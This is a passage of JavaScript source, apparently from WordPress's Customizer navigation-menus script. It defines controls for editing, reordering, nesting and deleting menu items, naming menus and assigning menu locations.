).hasClass( 'adding-menu-items' ) && ! isDeleteBtn && ! isAddNewBtn ) { api.Menus.availableMenuItemsPanel.close(); } if ( menuControl.isReordering || menuControl.isSorting ) { return; } control.toggleForm(); } ); }, /** * Set up the menu-item-reorder-nav */ _setupReorderUI: function() { var control = this, template, $reorderNav; template = wp.template( 'menu-item-reorder-nav' ); // Add the menu item reordering elements to the menu item control. control.container.find( '.item-controls' ).after( template ); // Handle clicks for up/down/left-right on the reorder nav. $reorderNav = control.container.find( '.menu-item-reorder-nav' ); $reorderNav.find( '.menus-move-up, .menus-move-down, .menus-move-left, .menus-move-right' ).on( 'click', function() { var moveBtn = $( this ); control.params.depth = control.getDepth(); moveBtn.focus(); var isMoveUp = moveBtn.is( '.menus-move-up' ), isMoveDown = moveBtn.is( '.menus-move-down' ), isMoveLeft = moveBtn.is( '.menus-move-left' ), isMoveRight = moveBtn.is( '.menus-move-right' ); if ( isMoveUp ) { control.moveUp(); } else if ( isMoveDown ) { control.moveDown(); } else if ( isMoveLeft ) { control.moveLeft(); } else if ( isMoveRight ) { control.moveRight(); control.params.depth += 1; } moveBtn.focus(); // Re-focus after the container was moved. // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); } ); }, /** * Set up event handlers for menu item updating. */ _setupUpdateUI: function() { var control = this, settingValue = control.setting(), updateNotifications; control.elements = {}; control.elements.url = new api.Element( control.container.find( '.edit-menu-item-url' ) ); control.elements.title = new api.Element( control.container.find( '.edit-menu-item-title' ) ); control.elements.attr_title = new api.Element( control.container.find( '.edit-menu-item-attr-title' ) ); control.elements.target = new api.Element( control.container.find( '.edit-menu-item-target' ) ); control.elements.classes = new api.Element( control.container.find( '.edit-menu-item-classes' ) ); control.elements.xfn = new api.Element( control.container.find( '.edit-menu-item-xfn' ) ); control.elements.description = new api.Element( control.container.find( '.edit-menu-item-description' ) ); // @todo Allow other elements, added by plugins, to be automatically picked up here; // allow additional values to be added to setting array. _.each( control.elements, function( element, property ) { element.bind(function( value ) { if ( element.element.is( 'input[type=checkbox]' ) ) { value = ( value ) ? element.element.val() : ''; } var settingValue = control.setting(); if ( settingValue && settingValue[ property ] !== value ) { settingValue = _.clone( settingValue ); settingValue[ property ] = value; control.setting.set( settingValue ); } }); if ( settingValue ) { if ( ( property === 'classes' || property === 'xfn' ) && _.isArray( settingValue[ property ] ) ) { element.set( settingValue[ property ].join( ' ' ) ); } else { element.set( settingValue[ property ] ); } } }); control.setting.bind(function( to, from ) { var itemId = control.params.menu_item_id, followingSiblingItemControls = [], childrenItemControls = [], menuControl; if ( false === to ) { menuControl = api.control( 'nav_menu[' + String( from.nav_menu_term_id ) + ']' ); control.container.remove(); _.each( menuControl.getMenuItemControls(), function( otherControl ) { if ( from.menu_item_parent === otherControl.setting().menu_item_parent && otherControl.setting().position > from.position ) { followingSiblingItemControls.push( otherControl ); } else if ( otherControl.setting().menu_item_parent === itemId ) { childrenItemControls.push( otherControl ); } }); // Shift all following siblings by the number of children this item has. _.each( followingSiblingItemControls, function( followingSiblingItemControl ) { var value = _.clone( followingSiblingItemControl.setting() ); value.position += childrenItemControls.length; followingSiblingItemControl.setting.set( value ); }); // Now move the children up to be the new subsequent siblings. _.each( childrenItemControls, function( childrenItemControl, i ) { var value = _.clone( childrenItemControl.setting() ); value.position = from.position + i; value.menu_item_parent = from.menu_item_parent; childrenItemControl.setting.set( value ); }); menuControl.debouncedReflowMenuItems(); } else { // Update the elements' values to match the new setting properties. _.each( to, function( value, key ) { if ( control.elements[ key] ) { control.elements[ key ].set( to[ key ] ); } } ); control.container.find( '.menu-item-data-parent-id' ).val( to.menu_item_parent ); // Handle UI updates when the position or depth (parent) change. if ( to.position !== from.position || to.menu_item_parent !== from.menu_item_parent ) { control.getMenuControl().debouncedReflowMenuItems(); } } }); // Style the URL field as invalid when there is an invalid_url notification. updateNotifications = function() { control.elements.url.element.toggleClass( 'invalid', control.setting.notifications.has( 'invalid_url' ) ); }; control.setting.notifications.bind( 'add', updateNotifications ); control.setting.notifications.bind( 'removed', updateNotifications ); }, /** * Set up event handlers for menu item deletion. */ _setupRemoveUI: function() { var control = this, $removeBtn; // Configure delete button. $removeBtn = control.container.find( '.item-delete' ); $removeBtn.on( 'click', function() { // Find an adjacent element to add focus to when this menu item goes away. var addingItems = true, $adjacentFocusTarget, $next, $prev, instanceCounter = 0, // Instance count of the menu item deleted. deleteItemOriginalItemId = control.params.original_item_id, addedItems = control.getMenuControl().$sectionContent.find( '.menu-item' ), availableMenuItem; if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { addingItems = false; } $next = control.container.nextAll( '.customize-control-nav_menu_item:visible' ).first(); $prev = control.container.prevAll( '.customize-control-nav_menu_item:visible' ).first(); if ( $next.length ) { $adjacentFocusTarget = $next.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else if ( $prev.length ) { $adjacentFocusTarget = $prev.find( false === addingItems ? '.item-edit' : '.item-delete' ).first(); } else { $adjacentFocusTarget = control.container.nextAll( '.customize-control-nav_menu' ).find( '.add-new-menu-item' ).first(); } /* * If the menu item deleted is the only of its instance left, * remove the check icon of this menu item in the right panel. */ _.each( addedItems, function( addedItem ) { var menuItemId, menuItemControl, matches; // This is because menu item that's deleted is just hidden. if ( ! $( addedItem ).is( ':visible' ) ) { return; } matches = addedItem.getAttribute( 'id' ).match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); // Check for duplicate menu items. if ( menuItemControl && deleteItemOriginalItemId == menuItemControl.params.original_item_id ) { instanceCounter++; } } ); if ( instanceCounter <= 1 ) { // Revert the check icon to add icon. availableMenuItem = $( '#menu-item-tpl-' + control.params.original_item_id ); availableMenuItem.removeClass( 'selected' ); availableMenuItem.find( '.menu-item-handle' ).removeClass( 'item-added' ); } control.container.slideUp( function() { control.setting.set( false ); wp.a11y.speak( api.Menus.data.l10n.itemDeleted ); $adjacentFocusTarget.focus(); // Keyboard accessibility. } ); control.setting.set( false ); } ); }, _setupLinksUI: function() { var $origBtn; // Configure original link. $origBtn = this.container.find( 'a.original-link' ); $origBtn.on( 'click', function( e ) { e.preventDefault(); api.previewer.previewUrl( e.target.toString() ); } ); }, /** * Update item handle title when changed. */ _setupTitleUI: function() { var control = this, titleEl; // Ensure that whitespace is trimmed on blur so placeholder can be shown. control.container.find( '.edit-menu-item-title' ).on( 'blur', function() { $( this ).val( $( this ).val().trim() ); } ); titleEl = control.container.find( '.menu-item-title' ); control.setting.bind( function( item ) { var trimmedTitle, titleText; if ( ! item ) { return; } item.title = item.title || ''; trimmedTitle = item.title.trim(); titleText = trimmedTitle || item.original_title || api.Menus.data.l10n.untitled; if ( item._invalid ) { titleText = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', titleText ); } // Don't update to an empty title. if ( trimmedTitle || item.original_title ) { titleEl .text( titleText ) .removeClass( 'no-title' ); } else { titleEl .text( titleText ) .addClass( 'no-title' ); } } ); }, /** * * @return {number} */ getDepth: function() { var control = this, setting = control.setting(), depth = 0; if ( ! setting ) { return 0; } while ( setting && setting.menu_item_parent ) { depth += 1; control = api.control( 'nav_menu_item[' + setting.menu_item_parent + ']' ); if ( ! control ) { break; } setting = control.setting(); } return depth; }, /** * Amend the control's params with the data necessary for the JS template just in time. */ renderContent: function() { var control = this, settingValue = control.setting(), containerClasses; control.params.title = settingValue.title || ''; control.params.depth = control.getDepth(); control.container.data( 'item-depth', control.params.depth ); containerClasses = [ 'menu-item', 'menu-item-depth-' + String( control.params.depth ), 'menu-item-' + settingValue.object, 'menu-item-edit-inactive' ]; if ( settingValue._invalid ) { containerClasses.push( 'menu-item-invalid' ); control.params.title = api.Menus.data.l10n.invalidTitleTpl.replace( '%s', control.params.title ); } else if ( 'draft' === settingValue.status ) { containerClasses.push( 'pending' ); control.params.title = api.Menus.data.pendingTitleTpl.replace( '%s', control.params.title ); } control.params.el_classes = containerClasses.join( ' ' ); control.params.item_type_label = settingValue.type_label; control.params.item_type = settingValue.type; control.params.url = settingValue.url; control.params.target = settingValue.target; control.params.attr_title = settingValue.attr_title; control.params.classes = _.isArray( settingValue.classes ) ? settingValue.classes.join( ' ' ) : settingValue.classes; control.params.xfn = settingValue.xfn; control.params.description = settingValue.description; control.params.parent = settingValue.menu_item_parent; control.params.original_title = settingValue.original_title || ''; control.container.addClass( control.params.el_classes ); api.Control.prototype.renderContent.call( control ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * @return {wp.customize.controlConstructor.nav_menu|null} */ getMenuControl: function() { var control = this, settingValue = control.setting(); if ( settingValue && settingValue.nav_menu_term_id ) { return api.control( 'nav_menu[' + settingValue.nav_menu_term_id + ']' ); } else { return null; } }, /** * Expand the accordion section containing a control */ expandControlSection: function() { var $section = this.container.closest( '.accordion-section' ); if ( ! $section.hasClass( 'open' ) ) { $section.find( '.accordion-section-title:first' ).trigger( 'click' ); } }, /** * @since 4.6.0 * * @param {Boolean} expanded * @param {Object} [params] * @return {Boolean} False if state already applied. */ _toggleExpanded: api.Section.prototype._toggleExpanded, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already expanded. */ expand: api.Section.prototype.expand, /** * Expand the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ expandForm: function( params ) { this.expand( params ); }, /** * @since 4.6.0 * * @param {Object} [params] * @return {Boolean} False if already collapsed. */ collapse: api.Section.prototype.collapse, /** * Collapse the menu item form control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ collapseForm: function( params ) { this.collapse( params ); }, /** * Expand or collapse the menu item control. * * @deprecated this is poor naming, and it is better to directly set control.expanded( showOrHide ) * @since 4.5.0 Added params.completeCallback. * * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ toggleForm: function( showOrHide, params ) { if ( typeof showOrHide === 'undefined' ) { showOrHide = ! this.expanded(); } if ( showOrHide ) { this.expand( params ); } else { this.collapse( params ); } }, /** * Expand or collapse the menu item control. * * @since 4.6.0 * @param {boolean} [showOrHide] - If not supplied, will be inverse of current visibility * @param {Object} [params] - Optional params. * @param {Function} [params.completeCallback] - Function to call when the form toggle has finished animating. */ onChangeExpanded: function( showOrHide, params ) { var self = this, $menuitem, $inside, complete; $menuitem = this.container; $inside = $menuitem.find( '.menu-item-settings:first' ); if ( 'undefined' === typeof showOrHide ) { showOrHide = ! $inside.is( ':visible' ); } // Already expanded or collapsed. if ( $inside.is( ':visible' ) === showOrHide ) { if ( params && params.completeCallback ) { params.completeCallback(); } return; } if ( showOrHide ) { // Close all other menu item controls before expanding this one. api.control.each( function( otherControl ) { if ( self.params.type === otherControl.params.type && self !== otherControl ) { otherControl.collapseForm(); } } ); complete = function() { $menuitem .removeClass( 'menu-item-edit-inactive' ) .addClass( 'menu-item-edit-active' ); self.container.trigger( 'expanded' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'true' ); $inside.slideDown( 'fast', complete ); self.container.trigger( 'expand' ); } else { complete = function() { $menuitem .addClass( 'menu-item-edit-inactive' ) .removeClass( 'menu-item-edit-active' ); self.container.trigger( 'collapsed' ); if ( params && params.completeCallback ) { params.completeCallback(); } }; self.container.trigger( 'collapse' ); $menuitem.find( '.item-edit' ).attr( 'aria-expanded', 'false' ); $inside.slideUp( 'fast', complete ); } }, /** * Expand the containing menu section, expand the form, and focus on * the first input in the control. * * @since 4.5.0 Added params.completeCallback. * * @param {Object} [params] - Params object. * @param {Function} [params.completeCallback] - Optional callback function when focus has completed. */ focus: function( params ) { params = params || {}; var control = this, originalCompleteCallback = params.completeCallback, focusControl; focusControl = function() { control.expandControlSection(); params.completeCallback = function() { var focusable; // Note that we can't use :focusable due to a jQuery UI issue. See: https://github.com/jquery/jquery-ui/pull/1583 focusable = control.container.find( '.menu-item-settings' ).find( 'input, select, textarea, button, object, a[href], [tabindex]' ).filter( ':visible' ); focusable.first().focus(); if ( originalCompleteCallback ) { originalCompleteCallback(); } }; control.expandForm( params ); }; if ( api.section.has( control.section() ) ) { api.section( control.section() ).expand( { completeCallback: focusControl } ); } else { focusControl(); } }, /** * Move menu item up one in the menu. */ moveUp: function() { this._changePosition( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedUp ); }, /** * Move menu item up one in the menu. */ moveDown: function() { this._changePosition( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedDown ); }, /** * Move menu item and all children up one level of depth. */ moveLeft: function() { this._changeDepth( -1 ); wp.a11y.speak( api.Menus.data.l10n.movedLeft ); }, /** * Move menu item and children one level deeper, as a submenu of the previous item. */ moveRight: function() { this._changeDepth( 1 ); wp.a11y.speak( api.Menus.data.l10n.movedRight ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changePosition: function( offset ) { var control = this, adjacentSetting, settingValue = _.clone( control.setting() ), siblingSettings = [], realPosition; if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } // Skip moving deleted items. if ( ! control.setting() ) { return; } // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingSettings.push( otherControl.setting ); } }); siblingSettings.sort(function( a, b ) { return a().position - b().position; }); realPosition = _.indexOf( siblingSettings, control.setting ); if ( -1 === realPosition ) { throw new Error( 'Expected setting to be among siblings.' ); } // Skip doing anything if the item is already at the edge in the desired direction. if ( ( realPosition === 0 && offset < 0 ) || ( realPosition === siblingSettings.length - 1 && offset > 0 ) ) { // @todo Should we allow a menu item to be moved up to break it out of a parent? Adopt with previous or following parent? return; } // Update any adjacent menu item setting to take on this item's position. adjacentSetting = siblingSettings[ realPosition + offset ]; if ( adjacentSetting ) { adjacentSetting.set( $.extend( _.clone( adjacentSetting() ), { position: settingValue.position } ) ); } settingValue.position += offset; control.setting.set( settingValue ); }, /** * Note that this will trigger a UI update, causing child items to * move as well and cardinal order class names to be updated. * * @private * * @param {number} offset 1|-1 */ _changeDepth: function( offset ) { if ( 1 !== offset && -1 !== offset ) { throw new Error( 'Offset changes by 1 are only supported.' ); } var control = this, settingValue = _.clone( control.setting() ), siblingControls = [], realPosition, siblingControl, parentControl; // Locate the other items under the same parent (siblings). _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { siblingControls.push( otherControl ); } }); siblingControls.sort(function( a, b ) { return a.setting().position - b.setting().position; }); realPosition = _.indexOf( siblingControls, control ); if ( -1 === realPosition ) { throw new Error( 'Expected control to be among siblings.' ); } if ( -1 === offset ) { // Skip moving left an item that is already at the top level. if ( ! settingValue.menu_item_parent ) { return; } parentControl = api.control( 'nav_menu_item[' + settingValue.menu_item_parent + ']' ); // Make this control the parent of all the following siblings. _( siblingControls ).chain().slice( realPosition ).each(function( siblingControl, i ) { siblingControl.setting.set( $.extend( {}, siblingControl.setting(), { menu_item_parent: control.params.menu_item_id, position: i } ) ); }); // Increase the positions of the parent item's subsequent children to make room for this one. _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { var otherControlSettingValue, isControlToBeShifted; isControlToBeShifted = ( otherControl.setting().menu_item_parent === parentControl.setting().menu_item_parent && otherControl.setting().position > parentControl.setting().position ); if ( isControlToBeShifted ) { otherControlSettingValue = _.clone( otherControl.setting() ); otherControl.setting.set( $.extend( otherControlSettingValue, { position: otherControlSettingValue.position + 1 } ) ); } }); // Make this control the following sibling of its parent item. settingValue.position = parentControl.setting().position + 1; settingValue.menu_item_parent = parentControl.setting().menu_item_parent; control.setting.set( settingValue ); } else if ( 1 === offset ) { // Skip moving right an item that doesn't have a previous sibling. if ( realPosition === 0 ) { return; } // Make the control the last child of the previous sibling. siblingControl = siblingControls[ realPosition - 1 ]; settingValue.menu_item_parent = siblingControl.params.menu_item_id; settingValue.position = 0; _( control.getMenuControl().getMenuItemControls() ).each(function( otherControl ) { if ( otherControl.setting().menu_item_parent === settingValue.menu_item_parent ) { settingValue.position = Math.max( settingValue.position, otherControl.setting().position ); } }); settingValue.position += 1; control.setting.set( settingValue ); } } } ); /** * wp.customize.Menus.MenuNameControl * * Customizer control for a nav menu's name. * * @class wp.customize.Menus.MenuNameControl * @augments wp.customize.Control */ api.Menus.MenuNameControl = api.Control.extend(/** @lends wp.customize.Menus.MenuNameControl.prototype */{ ready: function() { var control = this; if ( control.setting ) { var settingValue = control.setting(); control.nameElement = new api.Element( control.container.find( '.menu-name-field' ) ); control.nameElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.name = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.nameElement.set( settingValue.name ); } control.setting.bind(function( object ) { if ( object ) { control.nameElement.set( object.name ); } }); } } }); /** * wp.customize.Menus.MenuLocationsControl * * Customizer control for a nav menu's locations. * * @since 4.9.0 * @class wp.customize.Menus.MenuLocationsControl * @augments wp.customize.Control */ api.Menus.MenuLocationsControl = api.Control.extend(/** @lends wp.customize.Menus.MenuLocationsControl.prototype */{ /** * Set up the control. * * @since 4.9.0 */ ready: function () { var control = this; control.container.find( '.assigned-menu-location' ).each(function() { var container = $( this ), checkbox = container.find( 'input[type=checkbox]' ), element = new api.Element( checkbox ), navMenuLocationSetting = api( 'nav_menu_locations[' + checkbox.data( 'location-id' ) + ']' ), isNewMenu = control.params.menu_id === '', updateCheckbox = isNewMenu ? _.noop : function( checked ) { element.set( checked ); }, updateSetting = isNewMenu ? _.noop : function( checked ) { navMenuLocationSetting.set( checked ? control.params.menu_id : 0 ); }, updateSelectedMenuLabel = function( selectedMenuId ) { var menuSetting = api( 'nav_menu[' + String( selectedMenuId ) + ']' ); if ( ! selectedMenuId || ! menuSetting || ! menuSetting() ) { container.find( '.theme-location-set' ).hide(); } else { container.find( '.theme-location-set' ).show().find( 'span' ).text( displayNavMenuName( menuSetting().name ) ); } }; updateCheckbox( navMenuLocationSetting.get() === control.params.menu_id ); checkbox.on( 'change', function() { // Note: We can't use element.bind( function( checked ){ ... } ) here because it will trigger a change as well. updateSetting( this.checked ); } ); navMenuLocationSetting.bind( function( selectedMenuId ) { updateCheckbox( selectedMenuId === control.params.menu_id ); updateSelectedMenuLabel( selectedMenuId ); } ); updateSelectedMenuLabel( navMenuLocationSetting.get() ); }); }, /** * Set the selected locations. * * This method sets the selected locations and allows us to do things like * set the default location for a new menu. * * @since 4.9.0 * * @param {Object.<string,boolean>} selections - A map of location selections. * @return {void} */ setSelections: function( selections ) { this.container.find( '.menu-location' ).each( function( i, checkboxNode ) { var locationId = checkboxNode.dataset.locationId; checkboxNode.checked = locationId in selections ? selections[ locationId ] : false; } ); } }); /** * wp.customize.Menus.MenuAutoAddControl * * Customizer control for a nav menu's auto add. * * @class wp.customize.Menus.MenuAutoAddControl * @augments wp.customize.Control */ api.Menus.MenuAutoAddControl = api.Control.extend(/** @lends wp.customize.Menus.MenuAutoAddControl.prototype */{ ready: function() { var control = this, settingValue = control.setting(); /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value, section = api.section( control.section() ); if ( section ) { value = section.active(); } else { value = false; } return value; }; control.autoAddElement = new api.Element( control.container.find( 'input[type=checkbox].auto_add' ) ); control.autoAddElement.bind(function( value ) { var settingValue = control.setting(); if ( settingValue && settingValue.name !== value ) { settingValue = _.clone( settingValue ); settingValue.auto_add = value; control.setting.set( settingValue ); } }); if ( settingValue ) { control.autoAddElement.set( settingValue.auto_add ); } control.setting.bind(function( object ) { if ( object ) { control.autoAddElement.set( object.auto_add ); } }); } }); /** * wp.customize.Menus.MenuControl * * Customizer control for menus. * Note that 'nav_menu' must match the WP_Menu_Customize_Control::$type * * @class wp.customize.Menus.MenuControl * @augments wp.customize.Control */ api.Menus.MenuControl = api.Control.extend(/** @lends wp.customize.Menus.MenuControl.prototype */{ /** * Set up the control. */ ready: function() { var control = this, section = api.section( control.section() ), menuId = control.params.menu_id, menu = control.setting(), name, widgetTemplate, select; if ( 'undefined' === typeof this.params.menu_id ) { throw new Error( 'params.menu_id was not defined' ); } /* * Since the control is not registered in PHP, we need to prevent the * preview's sending of the activeControls to result in this control * being deactivated. */ control.active.validate = function() { var value; if ( section ) { value = section.active(); } else { value = false; } return value; }; control.$controlSection = section.headContainer; control.$sectionContent = control.container.closest( '.accordion-section-content' ); this._setupModel(); api.section( control.section(), function( section ) { section.deferred.initSortables.done(function( menuList ) { control._setupSortable( menuList ); }); } ); this._setupAddition(); this._setupTitle(); // Add menu to Navigation Menu widgets. if ( menu ) { name = displayNavMenuName( menu.name ); // Add the menu to the existing controls. api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).show(); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetControl.container.find( 'select' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } ); // Add the menu to the widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).show(); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).hide(); select = widgetTemplate.find( '.widget-inside select:first' ); if ( 0 === select.find( 'option[value=' + String( menuId ) + ']' ).length ) { select.append( new Option( name, menuId ) ); } } /* * Wait for menu items to be added. * Ideally, we'd bind to an event indicating construction is complete, * but deferring appears to be the best option today. */ _.defer( function () { control.updateInvitationVisibility(); } ); }, /** * Update ordering of menu item controls when the setting is updated. */ _setupModel: function() { var control = this, menuId = control.params.menu_id; control.setting.bind( function( to ) { var name; if ( false === to ) { control._handleDeletion(); } else { // Update names in the Navigation Menu widgets. name = displayNavMenuName( to.name ); api.control.each( function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); select.find( 'option[value=' + String( menuId ) + ']' ).text( name ); }); } } ); }, /** * Allow items in each menu to be re-ordered, and for the order to be previewed. * * Notice that the UI aspects here are handled by wpNavMenu.initSortables() * which is called in MenuSection.onChangeExpanded() * * @param {Object} menuList - The element that has sortable(). */ _setupSortable: function( menuList ) { var control = this; if ( ! menuList.is( control.$sectionContent ) ) { throw new Error( 'Unexpected menuList.' ); } menuList.on( 'sortstart', function() { control.isSorting = true; }); menuList.on( 'sortstop', function() { setTimeout( function() { // Next tick. var menuItemContainerIds = control.$sectionContent.sortable( 'toArray' ), menuItemControls = [], position = 0, priority = 10; control.isSorting = false; // Reset horizontal scroll position when done dragging. control.$sectionContent.scrollLeft( 0 ); _.each( menuItemContainerIds, function( menuItemContainerId ) { var menuItemId, menuItemControl, matches; matches = menuItemContainerId.match( /^customize-control-nav_menu_item-(-?\d+)$/, '' ); if ( ! matches ) { return; } menuItemId = parseInt( matches[1], 10 ); menuItemControl = api.control( 'nav_menu_item[' + String( menuItemId ) + ']' ); if ( menuItemControl ) { menuItemControls.push( menuItemControl ); } } ); _.each( menuItemControls, function( menuItemControl ) { if ( false === menuItemControl.setting() ) { // Skip deleted items. return; } var setting = _.clone( menuItemControl.setting() ); position += 1; priority += 1; setting.position = position; menuItemControl.priority( priority ); // Note that wpNavMenu will be setting this .menu-item-data-parent-id input's value. setting.menu_item_parent = parseInt( menuItemControl.container.find( '.menu-item-data-parent-id' ).val(), 10 ); if ( ! setting.menu_item_parent ) { setting.menu_item_parent = 0; } menuItemControl.setting.set( setting ); }); // Mark all menu items as unprocessed. $( 'button.item-edit' ).data( 'needs_accessibility_refresh', true ); }); }); control.isReordering = false; /** * Keyboard-accessible reordering. */ this.container.find( '.reorder-toggle' ).on( 'click', function() { control.toggleReordering( ! control.isReordering ); } ); }, /** * Set up UI for adding a new menu item. */ _setupAddition: function() { var self = this; this.container.find( '.add-new-menu-item' ).on( 'click', function( event ) { if ( self.$sectionContent.hasClass( 'reordering' ) ) { return; } if ( ! $( 'body' ).hasClass( 'adding-menu-items' ) ) { $( this ).attr( 'aria-expanded', 'true' ); api.Menus.availableMenuItemsPanel.open( self ); } else { $( this ).attr( 'aria-expanded', 'false' ); api.Menus.availableMenuItemsPanel.close(); event.stopPropagation(); } } ); }, _handleDeletion: function() { var control = this, section, menuId = control.params.menu_id, removeSection, widgetTemplate, navMenuCount = 0; section = api.section( control.section() ); removeSection = function() { section.container.remove(); api.section.remove( section.id ); }; if ( section && section.expanded() ) { section.collapse({ completeCallback: function() { removeSection(); wp.a11y.speak( api.Menus.data.l10n.menuDeleted ); api.panel( 'nav_menus' ).focus(); } }); } else { removeSection(); } api.each(function( setting ) { if ( /^nav_menu\[/.test( setting.id ) && false !== setting() ) { navMenuCount += 1; } }); // Remove the menu from any Navigation Menu widgets. api.control.each(function( widgetControl ) { if ( ! widgetControl.extended( api.controlConstructor.widget_form ) || 'nav_menu' !== widgetControl.params.widget_id_base ) { return; } var select = widgetControl.container.find( 'select' ); if ( select.val() === String( menuId ) ) { select.prop( 'selectedIndex', 0 ).trigger( 'change' ); } widgetControl.container.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetControl.container.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetControl.container.find( 'option[value=' + String( menuId ) + ']' ).remove(); }); // Remove the menu to the nav menu widget template. widgetTemplate = $( '#available-widgets-list .widget-tpl:has( input.id_base[ value=nav_menu ] )' ); widgetTemplate.find( '.nav-menu-widget-form-controls:first' ).toggle( 0 !== navMenuCount ); widgetTemplate.find( '.nav-menu-widget-no-menus-message:first' ).toggle( 0 === navMenuCount ); widgetTemplate.find( 'option[value=' + String( menuId ) + ']' ).remove(); }, /** * Update Section Title as menu name is changed. */ _setupTitle: function() { var control = this; control.setting.bind( function( menu ) { if ( ! menu ) { return; } var section = api.section( control.section() ), menuId = control.params.menu_id, controlTitle = section.headContainer.find( '.accordion-section-title' ), sectionTitle = section.contentContainer.find( '.customize-section-title h3' ), location = section.headContainer.find( '.menu-in-location' ), action = sectionTitle.find( '.customize-action' ), name = displayNavMenuName( menu.name ); // Update the control title. controlTitle.text( name ); if ( location.length ) { location.appendTo( controlTitle ); } // Update the section title. sectionTitle.text( name ); if ( action.length ) { action.prependTo( sectionTitle ); } // Update the nav menu name in location selects. api.control.each( function( control ) { if ( /^nav_menu_locations\[/.test( control.id ) ) { control.container.find( 'option[value=' + menuId + ']' ).text( name ); } } ); // Update the nav menu name in all location checkboxes. section.contentContainer.find( '.customize-control-checkbox input' ).each( function() { if ( $( this ).prop( 'checked' ) ) { $( '.current-menu-location-name-' + $( this ).data( 'location-id' ) ).text( name ); } } ); } ); }, /*********************************************************************** * Begin public API methods **********************************************************************/ /** * Enable/disable the reordering UI * * @param {boolean} showOrHide to enable/disable reordering */ toggleReordering: function( showOrHide ) { var addNewItemBtn = this.container.find( '.add-new-menu-item' ), reorderBtn = this.container.find( '.reorder-toggle' ), itemsTitle = this.$sectionContent.find( '.item-title' ); showOrHide = Boolean( showOrHide ); if ( showOrHide === this.$sectionContent.hasClass( 'reordering' ) ) { return; } this.isReordering = showOrHide; this.$sectionContent.toggleClass( 'reordering', showOrHide ); this.$sectionContent.sortable( this.isReordering ? 'disable' : 'enable' ); if ( this.isReordering ) { addNewItemBtn.attr({ 'tabindex': '-1', 'aria-hidden': 'true' }); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOff ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOn ); itemsTitle.attr( 'aria-hidden', 'false' ); } else { addNewItemBtn.removeAttr( 'tabindex aria-hidden' ); reorderBtn.attr( 'aria-label', api.Menus.data.l10n.reorderLabelOn ); wp.a11y.speak( api.Menus.data.l10n.reorderModeOff ); itemsTitle.attr( 'aria-hidden', 'true' ); } if ( showOrHide ) { _( this.getMenuItemControls() ).each( function( formControl ) { formControl.collapseForm(); } ); } }, /** * @return {wp.customize.controlConstructor.nav_menu_item[]} */ getMenuItemControls: function() { var menuControl = this, menuItemControls = [], menuTermId = menuControl.params.menu_id; api.control.each(function( control ) { if ( 'nav_menu_item' === control.params.type && control.setting() && menuTermId === control.setting().nav_menu_term_id ) { menuItemControls.push( control ); } }); return menuItemControls; }, /** * Make sure that each menu item control has the proper depth. */ reflowMenuItems: function() { var menuControl = this, menuItemControls = menuControl.getMenuItemControls(), reflowRecursively; reflowRecursively = function( context ) { var currentMenuItemControls = [], thisParent = context.currentParent; _.each( context.menuItemControls, function( menuItemControl ) { if ( thisParent === menuItemControl.setting().menu_item_parent ) { currentMenuItemControls.push( menuItemControl ); // @todo We could remove this item from menuItemControls now, for efficiency. } }); currentMenuItemControls.sort( function( a, b ) { return a.setting().position - b.setting().position; }); _.each( currentMenuItemControls, function( menuItemControl ) { // Update position. context.currentAbsolutePosition += 1; menuItemControl.priority.set( context.currentAbsolutePosition ); // This will change the sort order. // Update depth. if ( ! menuItemControl.container.hasClass( 'menu-item-depth-' + String( context.currentDepth ) ) ) { _.each( menuItemControl.container.prop( 'className' ).match( 